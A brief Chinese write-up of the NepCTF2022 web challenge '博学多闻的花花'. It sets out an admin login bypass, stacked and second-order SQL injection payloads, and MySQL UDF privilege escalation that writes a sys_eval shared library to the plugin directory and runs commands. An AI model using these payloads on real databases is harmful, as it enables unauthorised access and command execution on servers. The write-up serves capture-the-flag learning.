NepCTF2022 博学多闻的花花

一道很有意思的题目。。尽管本地没有复现成功,但大概思路还是懂了OvO来记录一下

登陆admin

这里有很多种方法

%a0

注册一个admin%a0的账号就可以登陆admin

堆叠注入

注意第186行

insert into userAnswer values (NULL, '"._SESSION['username']."', '"._POST['q1']."', '"._POST['q2']."', '"._POST['q3']."', '"._POST['q4']."', '"._POST['q5']."')";

这里没有过滤q1~q5,可以直接堆叠注入

二次注入

还是这一行,可以发现username没有过滤,可以直接二次注入

a','1','2','3','4','1');update users set studentid='passwd' where username='admin';

udf提权

注意到ctf用户拥有*.*的file和insert权限

且my.cnf中secure-file-priv直接给到了plugin目录下

参考资料

先用sqlmap将udf提权脚本导出

python3 extra/cloak/cloak.py -d -i data/udf/mysql/linux/64/lib_mysqludf_sys.so_

mv data/udf/mysql/linux/64/lib_mysqludf_sys.so lib_mysqludf_sys.so

然后获取其hex值

select hex(load_file('xxx/lib_mysqludf_sys.so'))

注意score.php的第54和55行没有过滤username

可以利用二次注入写入so文件

aaa';select <0x7F...> into dumpfile '/usr/lib64/mysql/plugin/exp.so';#

创建udf

aaa';CREATE FUNCTION sys_eval RETURNS STRING SONAME 'exp.so';#

命令执行

aaa';select sys_eval('id');#

最后就是弹shell加suid提权


告别纷扰,去寻找生活的宝藏。